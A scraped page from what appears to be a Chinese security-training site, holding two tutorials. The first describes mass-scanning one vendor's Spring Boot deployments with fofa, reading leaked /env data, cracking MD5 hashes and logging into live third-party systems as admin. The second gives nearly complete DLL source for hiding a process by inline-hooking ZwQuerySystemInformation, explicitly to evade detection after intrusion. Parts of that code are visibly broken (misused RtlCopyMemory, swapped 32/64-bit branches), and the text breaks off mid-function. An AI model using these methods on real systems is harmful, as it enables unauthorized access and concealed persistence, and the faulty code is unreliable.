86414229574",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F7789121e-a712-4661-92ea-f6257f3f5948-small.png?1786414229574",subContent:"src挖洞成果-网易已获49积分"},{id:"60ab74cd-8e5e-4a5c-934f-5e4a2e0511aa",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F06651819-e19f-40b8-b99c-d344edbfdc24.png?1782375005186",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F06651819-e19f-40b8-b99c-d344edbfdc24-small.png?1782375005186",subContent:"渗透学生入职L通"},{id:"fb4c4b99-5f1d-467e-84da-65f3723a7c95",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F857f1619-ea00-47f7-8f86-594a81c7b8a6.png?1781659646741",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F857f1619-ea00-47f7-8f86-594a81c7b8a6-small.png?1781659646741",subContent:"武装部表扬信"},{id:"317ffbf9-0c3d-4c43-8a88-dc6d4b0a4422",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F78552374-fb61-44f6-aee3-36ba8e130a8c.png?1780647375683",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F78552374-fb61-44f6-aee3-36ba8e130a8c-small.png?1780647375683",subContent:c},{id:"3fa967d8-bbd7-432b-aea7-4627c5e3a8f2",type:a,category:b,tags:h,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F491ee75c-ab07-4614-97b8-437f00412a30.png?1780647366339",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F491ee75c-ab07-4614-97b8-437f00412a30-small.png?1780647366339",subContent:c},{id:"696ed075-d4ee-499c-944b-753b0b648cc8",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fccecd7d5-77c1-47e2-bc27-09ef356457e4.png?1780647356038",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fccecd7d5-77c1-47e2-bc27-09ef356457e4-small.png?1780647356038",subContent:c},{id:"75b7d09d-f188-452b-86fb-811ebe3e9686",type:a,category:b,tags:h,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F6ce9d29d-d75f-4912-a27e-8197d24b106e.png?1780647342261",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F6ce9d29d-d75f-4912-a27e-8197d24b106e-small.png?1780647342261",subContent:c},{id:"dda6dbd9-e998-40ae-a72c-0837f1bb3e67",type:a,category:b,tags:h,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff85bf0c9-4665-45ff-a6c4-8e13e5cf29c6.png?1780647320683",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff85bf0c9-4665-45ff-a6c4-8e13e5cf29c6-small.png?1780647320683",subContent:c},{id:"337dedac-db6f-4053-a246-dbae343b632e",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fee8389e7-7d96-4650-a2ff-8a33648a8b27.png?1780647308406",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fee8389e7-7d96-4650-a2ff-8a33648a8b27-small.png?1780647308406",subContent:c},{id:"6bd9ff8a-d5e6-4e97-b7dc-4949e987933e",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F299dce04-a970-4c0e-a7ef-50a4a757bba2.png?1780647292920",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F299dce04-a970-4c0e-a7ef-50a4a757bba2-small.png?1780647292920",subContent:c},{id:"f6551a2c-808a-4ff2-891e-d7510da1c322",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fbf312c70-e04d-4bb6-a3b5-c04cbf302904.png?1780647282594",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fbf312c70-e04d-4bb6-a3b5-c04cbf302904-small.png?1780647282594",subContent:c},{id:"7a70a637-a7a8-4adc-b853-d34e2dd3aa71",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F097eca6f-4dcd-477f-83e3-c6f2416dd56a.png?1780647268334",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F097eca6f-4dcd-477f-83e3-c6f2416dd56a-small.png?1780647268334",subContent:c},{id:"e6ab2e37-c390-4a2f-851a-a8953986e160",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F1ab87be1-f94d-4265-949c-e0d76c47a54c.png?1780647256899",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F1ab87be1-f94d-4265-949c-e0d76c47a54c-small.png?1780647256899",subContent:c},{id:"9ebae6e9-6201-4385-892d-ce81bfd5d6f8",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff897f502-ab99-4e4b-88dc-898a1b311916.png?1780647244664",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff897f502-ab99-4e4b-88dc-898a1b311916-small.png?1780647244664",subContent:c},{id:"d3638720-611b-4095-ba54-5feea9bbbcf0",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F55745109-ae0b-45d1-ab9d-934665ca0e4f.png?1780647229987",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F55745109-ae0b-45d1-ab9d-934665ca0e4f-small.png?1780647229987",subContent:c},{id:"ab57687a-684b-4823-ae8d-9bc4094fcb76",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fa0a73ebf-e999-4eb7-8ff3-3d2cae8dfe4e.png?1780647199285",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fa0a73ebf-e999-4eb7-8ff3-3d2cae8dfe4e-small.png?1780647199285",subContent:c},{id:"113d0779-2851-432b-8f5b-89eb12241272",type:a,category:b,tags:i,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fad5e3e24-17f4-4c53-b5b2-df373e6da24a.png?1787128678640",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fad5e3e24-17f4-4c53-b5b2-df373e6da24a-small.png?1787128678640",subContent:"渗透测试学生,入职海K,薪资20+"},{id:"53b6f5ee-2c50-423c-845b-cee6c00ecde6",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F3dac5ad5-6b9c-4f3d-abc7-a935c3a2529e.png?1774834923466",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F3dac5ad5-6b9c-4f3d-abc7-a935c3a2529e-small.png?1774834923466",subContent:"通过训练不仅挖到了漏洞,学费也自己赚回来了"},{id:"88448d40-bc97-4b3a-8723-b08775ea4889",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F88448d40-bc97-4b3a-8723-b08775ea4889.png?1787130153032",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F88448d40-bc97-4b3a-8723-b08775ea4889-small.png?1787130153032",subContent:"渗透班优秀学生,入职华W"},{id:"09dce0d2-e362-4927-b269-7f1ea8085f3d",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F30e62c5c-af57-4002-a8f8-2e981bae8d08.png?1781147128716",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F30e62c5c-af57-4002-a8f8-2e981bae8d08-small.png?1781147128716",subContent:"大三计算机科学专业,通过web安全课程学习,进入电信实习"},{id:"de9f0cff-dd00-47d5-bcf5-da3742162d29",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9d8e4b9f-554d-4135-ac28-9ba10c5e0de0.png?1769160018185",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9d8e4b9f-554d-4135-ac28-9ba10c5e0de0-small.png?1769160018185",subContent:"高危原创漏洞证明"},{id:"3f4a0e71-4e14-492f-92d7-15f054caf269",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F5faba32d-283d-4cfd-b47c-efd6e51a42f4.png?1768529638951",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F5faba32d-283d-4cfd-b47c-efd6e51a42f4-small.png?1768529638951",subContent:"web安全学生获取cnvd证书"},{id:"0bfc445a-31ec-49c5-bee0-f0399f1b2dca",type:a,category:b,tags:i,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fb404059c-c37f-407d-a20a-16be055b6fce.png?1768294167218",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fb404059c-c37f-407d-a20a-16be055b6fce-small.png?1768294167218",subContent:"20岁、本科信安专业,实习面试通过,渗透岗位"},{id:"ad7fa854-d359-4b13-92b4-d237a12aa6a8",type:a,category:b,tags:i,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fad7fa854-d359-4b13-92b4-d237a12aa6a8.png?1787130199705",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fad7fa854-d359-4b13-92b4-d237a12aa6a8-small.png?1787130199705",subContent:"信安专业大三实习生,入职绿M"},{id:"229455f6-b661-41d7-8109-1cc2dc4aa582",type:a,category:b,tags:h,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F20963039-60d5-43da-91a5-25018d18c006.png?1767601292665",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F20963039-60d5-43da-91a5-25018d18c006-small.png?1767601292665",subContent:j},{id:"dc4fd4cb-b81e-48e1-8f81-bceb16aedd35",type:a,category:b,tags:h,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F064b0a50-7379-4c0b-a0a2-490aeb2110b0.png?1767601265564",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F064b0a50-7379-4c0b-a0a2-490aeb2110b0-small.png?1767601265564",subContent:j},{id:"d192c517-0c0e-4af9-85ef-433e0b0b8563",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F622fd25c-ded2-4295-a22d-5d194d3dcd65.png?1767601246547",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F622fd25c-ded2-4295-a22d-5d194d3dcd65-small.png?1767601246547",subContent:j}],systemName:"蚁景网安 - 网络安全人才培养服务提供商",loginUser:void 0,cacheFlag:"34423f4730bda529a7fb0128c9bcb6c9",isMobileDevice:false,nowTime:1789911554733}}("","News","广交会第139届奖金"," SRC "," SRC 广交会 ","specialized","漏洞产出案例"," 广交会 SRC "," 网安学生 ","第138届广交会奖金"))
从一个信息泄露获取多本cnvd证书的过程
https://www.yijinglab.com/expc.do?ec=ECID07d9-3ccd-4c90-8a09-b980d8cd7858前言   个人在无事的时候喜欢逛cnvd官网,查看最近出的一些漏洞,以及去尝试挖掘,在此过程中让自己的能力提升,运气好的情况下说不定还能获取证书(小小的想法,嘿嘿)。 寻找目标?   又和往常一样,继续逛cnvd官网。 这里提示说一下,这边我主要选择一个是web应用漏洞列表,因为比较好挖,而且适合我这样的小白。 确定目标   在艰难的选择下,选中一名幸运厂商“xxxx”,下面直接说挖掘方法。注:在寻找厂家的时候一定要选择那些获得证书的漏洞厂家,这样只要能发现厂家的一些漏洞,那证书岂不是稳稳的嘛。具体获得证书的要求如下: 知道了获取方式的要求,就直接进入主题吧。 利用搜索工具或者引擎,搜索厂家的系统或者设备 搜索方式个人比较喜欢用fofa,fofa-yyds(要是有个高级会员就更好了) 如何去搜?简单的一种方式,就是直接将某设备或者某系统直接复制粘贴到fofa搜索框中,如下: 可能上面有点啰嗦了,但是了解怎么去搜索才是挖到漏洞和获取证书的前提。 第一本证书 下面说说个人挖掘到证书的流程。1、确定网站指纹,去目标网站官网,了解该系统或者设备使用什么语言什么框架所写。 如:我所发现这次的目标是使用了spring boot框架所写,所以直接确定是否存在信息泄露等漏洞。 发现是spring boot,下面直接进行工具扫描。注:一些网站并未显示出来,也可能显示出来但是漏洞被修复了,所以需要去多个网站查看,这个漏洞我是进行多个站点扫描才发现。 利用工具:xray、dirsearch等目录工具基本都可以,这里我直接用xray进行被动式扫描。 漏洞如下:http://xxx:port/env 因敏感信息比较多,所以就稍微截了点图。 发现第一个漏洞(信息泄露) 这个漏洞可以直接获取存在用户的密码(md5加密) 然而登录页面中发现登录密码,加密方式并不是md5加密,是其他加密。(当时有点迷)。在尝试了多个网站,发现有一些md5是可以被解出来的。通过解出来的密码可以成功登陆。 成功登陆 到这里第一本证书到手。前提是别人未提交,那必须稳稳拿下。 第二本证书 第二个漏洞-未授权访问 这个漏洞还是继续去分析上面的env页面,从中发现了这个漏洞(未授权访问)。 从中发现了一个目录/xxxmms/,当多次尝试一些网站的时候发现成功跳转了,所以第二个证书到手了----未授权访问。 未获得证书(撞洞了) 再回头去看env页面,发现还有其他的一些目录,还是一样操作,多个网站进行测试,发现了其他的一个系统。 这里的密码加密方式为md5,并且我发现其他用户system用户,这个才是管理员用户。 然后直接替换md5进行登录,在这里需要使用burp提换两次密码,才能成功登录。 首先通过信息泄露漏洞,获取system的MD5值: 通过提换md5进行登录(还有一次替换跳过) 成功登录 第三本证书 通过env页面泄露的目录,又发现其他系统 在页面中发现使用手册,发现默认密码为123456,但是未登录成功。相继去尝试了很多站点,发现都被修改了密码。然后就利用一开始解密出来的密码进行登录,发现有的可以登录成功,有的却不行。最终还是找到了远超过10+的案例。并去提交了漏洞,但未成功通过。驳回如下: 然后没办法继续去在后台进行测试,寻找未授权的页面,这样才能获取证书。最终通过burp和目录扫描工具发现一个soap接口信息泄露,并且未带有token值,所以应该存在未授权。访问其他未登录的站点: 到此结束这次的测试。提交如下: 先到手两本证书,还有一本还在制定中。 ### 这里其实没有多少技术含量,主要就是运气加细心,挖掘过程其实大部分都是差不多的,首先了解网站使用的指纹,然后使用的框架是不是有一些暴露出来的漏洞,过后就是批量去做,不要盯着一个站点去看,因为可能这个站点就没漏洞或者一些信息泄露的页面,通过多个站点进行测试,说不定就发现了新大陆了呢。所以多做试探就好,多结合一些工具进行测试。总会有的系统存在差异,只要抓到一个,像这种的厂家就可以进行批量打,还是比较舒服的。
巧用进程隐藏进行权限维持
基础知识 进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的基本单位,是https://baike.baidu.com/item/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F结构的基础。在早期面向进程设计的计算机结构中,进程是程序的基本执行实体;在当代面向线程设计的计算机结构中,进程是线程的容器。程序是指令、数据及其组织形式的描述,进程是程序的实体。https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182015092816503700001 我们在计算机上的每个程序运行起来之后都可以被称作进程,进程可以在任务管理器里面看见,如下所示 那么我们在进行渗透的过程中,如果我们运行了一些本没有运行的进程,我们想要达到不被对方发现的效果,其中一个方法就是实现进程隐藏,让对方在任务管理器里面看不到这个进程,当然这里只针对的是不被小白发现,专业的人员不在这个讨论范围内。 那么实现进程隐藏可以通过HOOK api的方式实现,我们知道一般我们要获取进程快照都是使用CreateToolHelp32Snapshot这个api,而这个api在内核层最终会调用ZwQuerySystemInformation这个api来获取系统进程信息,那么我们就可以直接去hook内核的这个api,因为最终还是调用内核的这个api,从而实现进程隐藏 实现过程 那么这里需要一些基础知识,hook api的实现最终还是要归结到Inline HOOK,通过修改api的前几个字节的数据,写入一个E9(jump)到我们自己的函数中执行 简单介绍一下Inline hook,API函数都保存在操作系统提供的DLL文件中,当在程序中使用某个API函数时,在运行程序后,程序会隐式地将API所在的DLL加载入进程中。这样,程序就会像调用自己的函数一样调用API。 在进程中当EXE模块调用CreateFile()函数的时候,会去调用kernel32.dll模块中的CreateFile()函数,因为真正的CreateFile()函数的实现在kernel32.dll模块中。 CreateFile()是API函数,API函数也是由人编写的代码再编译而成的,也有其对应的二进制代码。既然是代码,那么就可以被修改。通过一种“野蛮”的方法来直接修改API函数在内存中的映像,从而对API函数进行HOOK。使用的方法是,直接使用汇编指令的jmp指令将其代码执行流程改变,进而执行我们的代码,这样就使原来的函数的流程改变了。执行完我们的流程以后,可以选择性地执行原来的函数,也可以不继续执行原来的函数。 假设要对某进程的kernel32.dll的CreateFile()函数进行HOOK,首先需要在指定进程中的内存中找到CreateFile()函数的地址,然后修改CreateFile()函数的首地址的代码为jmp MyProc的指令。这样,当指定的进程调用CreateFile()函数时,就会首先跳转到我们的函数当中去执行流程,这样就完成了我们的HOOK了。 那么既然有了IAThook,我们为什么还要用Inlinehook呢,直接用IAThook不是更方便吗?看硬编码多麻烦。 我们思考一个问题,如果函数不是以LoadLibrary方式加载,那么肯定在导入表里就不会出现,那么IAThook就不能使用了,这就是Inlinehook诞生的条件。 硬编码 何为硬编码? 这里我就不生搬概念性的东西来解释了,说说我自己的理解。硬编码可以说就是用十六进制的字符组成的,他是给cpu读的语言,我们知道在计算机里面只有0和1,如果你要让他去读c语言的那些字符他是读不懂的,他只会读0和1,这就是硬编码。 硬编码的结构如下,有定长指令、变长指令等等一系列指令,还跟各种寄存器相关联起来,确实如果我们去读硬编码的话太痛苦了 这里就不过多延伸了,我们在Inline hook里面只会用到一个硬编码就是E9,对应的汇编代码就是jmp 这里我就直接通过Inline hook来实现进程隐藏,首先我们要明确思路,首先我们要获取到ZwQuerySystemInformation这个函数的地址,首先看一下这个函数的结构    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); 那么我们首先获取ntdll.dll的基址,这里可以使用GetModuleHandle,也可以使用LoadLibraryA HMODULE hDll = ::GetModuleHandle(L"ntdll.dll"); 然后使用GetProcAddress获取ZwQuerySystemInformation的函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); 获取到函数地址之后我们就需要进行hook操作,这里注意一下,在32位中跳转的语句应该为jmp New_ZwQuerySystemInformation,对应的硬编码就是E9 xx xx xx xx,那么在32位的情况下我们要执行跳转就需要修改5个字节的硬编码,而在64位中跳转的语句应该为mov rax, 0x1234567812345678、jmp rax,对应的硬编码就是48 b8 7856341278563412、ff e0,需要修改12个字节 在32位的情况下,修改5个字节 BYTE pData[5] = { 0xe9, 0, 0, 0, 0 }; 计算偏移地址,计算公式为新地址 - 旧地址 - 5 DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5; 因为我们要覆盖前5个字节那么我们首先把前5个字节放到其他地方保存 ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData)); 64位的情况下同理,只是修改字节为12个字节 BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };    ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;   ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));   ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData)); 然后修改权限为可读可写可执行权限,否则会报错0xC0000005 ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect); 修改硬编码,再还原属性 ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect); 到这里我们的hook函数就已经完成得差不多了,再写一个unhook函数,思路大体相同,代码如下 void UnHookAPI() {    //获取ntdll.dll基址    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");    if (hDll == NULL)   {        printf("[!] GetModuleHandle false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] GetModuleHandle successfully!\n\n");   }    // 获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");    if (NULL == ZwQuerySystemInformation)   {        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] ZwQuerySystemInformation successfully!\n\n");   }    // 修改为可读可写可执行权限    DWORD dwOldProtect = 0;   ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);    // 32位下还原5字节,64位下还原12字节 #ifdef _WIN64   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32)); #else   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32)); #endif    // 还原权限   ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect); 当我们执行完hook函数之后,需要跳转到我们自己的函数,在我们自己的函数里面,在我们自己的函数里面需要判断是否检索系统的进程信息,如果进程信息存在我们就需要将进程信息剔除 那么我们首先将钩子卸载掉,防止多次同时访问hook函数而造成数据混乱 UnHookAPI(); 然后加载ntdll.dll HMODULE hDll = ::LoadLibraryA("ntdll.dll"); 再获取ZwQuerySystemInformation的基址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); 这里看一下ZwQuerySystemInformation这个函数结构 NTSTATUS WINAPI ZwQuerySystemInformation(  _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,  _Inout_   PVOID                    SystemInformation,  _In_      ULONG                    SystemInformationLength,  _Out_opt_ PULONG                   ReturnLength ); 主要要关注的有两个参数,第一个参数是SystemInformationClass,他是用来表示要检索的系统信息的类型,再就是返回值,当函数执行成功则返回NTSTATUS,否则返回错误代码,那么我们首先要判断消息类型是否是进程信息 status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) && 5 == SystemInformationClass) 这里我们定义一个指针指向返回结果信息的缓冲区 pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; 判断如果是我们想要隐藏进程的PID则删除进程信息 if (HideProcessID == (DWORD)pCur->UniqueProcessId) 删除完成之后我们再还原hook HookAPI(); 我们要实现的功能不只是在自己的进程空间内隐藏指定进程,那么我们就可以把代码写成dll文件方便注入,完整代码如下 // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include <iostream> #include <Winternl.h> HMODULE g_hModule; BYTE g_Oldwin32[5] = { 0 }; BYTE g_Oldwin64[12] = { 0 }; #pragma data_seg("mydata") HHOOK g_hHook = NULL; #pragma data_seg() #pragma comment(linker, "/SECTION:mydata,RWS") NTSTATUS New_ZwQuerySystemInformation(    SYSTEM_INFORMATION_CLASS SystemInformationClass,    PVOID SystemInformation,    ULONG SystemInformationLength,    PULONG ReturnLength ); void HookAPI(); void UnHookAPI(); void HookAPI() {        //获取ntdll.dll基址    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");    if (hDll == NULL)   {        printf("[!] GetModuleHandle false,error is: %d\n\n", GetLastError());        return;   }    else   {        printf("[*] GetModuleHandle successfully!\n\n");   } #ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #else    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #endif    // 获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");    if (NULL == ZwQuerySystemInformation)   {        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] ZwQuerySystemInformation successfully!\n\n");   }    // 32位则修改前5字节,64位则修改前12字节 #ifdef _WIN64    // jmp New_ZwQuerySystemInformation    // E9 xx xx xx xx    BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };    // 计算偏移地址 , 偏移地址 = 新地址 - 旧地址 - 5    DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;   ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));   ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData)); #else    // mov rax, 0x1234567812345678    // jmp rax    // 48 b8 7856341278563412    // ff e0    BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };    ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;   ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));   ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData)); #endif    DWORD dwOldProtect = 0;    //修改为可读可写可执行权限   ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);   ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));    //还原权限   ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect); } void UnHookAPI() {    //获取ntdll.dll基址    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");    if (hDll == NULL)   {        printf("[!] GetModuleHandle false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] GetModuleHandle successfully!\n\n");   } #ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #else    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #endif    // 获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");    if (NULL == ZwQuerySystemInformation)   {        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] ZwQuerySystemInformation successfully!\n\n");   }    // 修改为可读可写可执行权限    DWORD dwOldProtect = 0;   ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);    // 32位下还原5字节,64位下还原12字节 #ifdef _WIN64   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32)); #else   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32)); #endif    // 还原权限   ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect); } NTSTATUS New_ZwQuerySystemInformation(    SYSTEM_INFORMATION_CLASS SystemInformationClass,    PVOID SystemInformation,    ULONG SystemInformationLength,    PULONG ReturnLength ) {    NTSTATUS status = 0;    PSYSTEM_PROCESS_INFORMATION pCur = NULL;    PSYSTEM_PROCESS_INFORMATION pPrev = NULL;    // 隐藏进程的PID    DWORD HideProcessID = 13972;    // 卸载钩子    UnHookAPI();    HMODULE hDll = ::LoadLibraryA("ntdll.dll");    if (hDll == NULL)   {        printf("[!] LoadLibraryA failed,error is : %d\n\n", GetLastError());        return status;   }    else   {        printf("[*] LoadLibraryA successfully!\n\n");   } #ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #else    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #endif    // 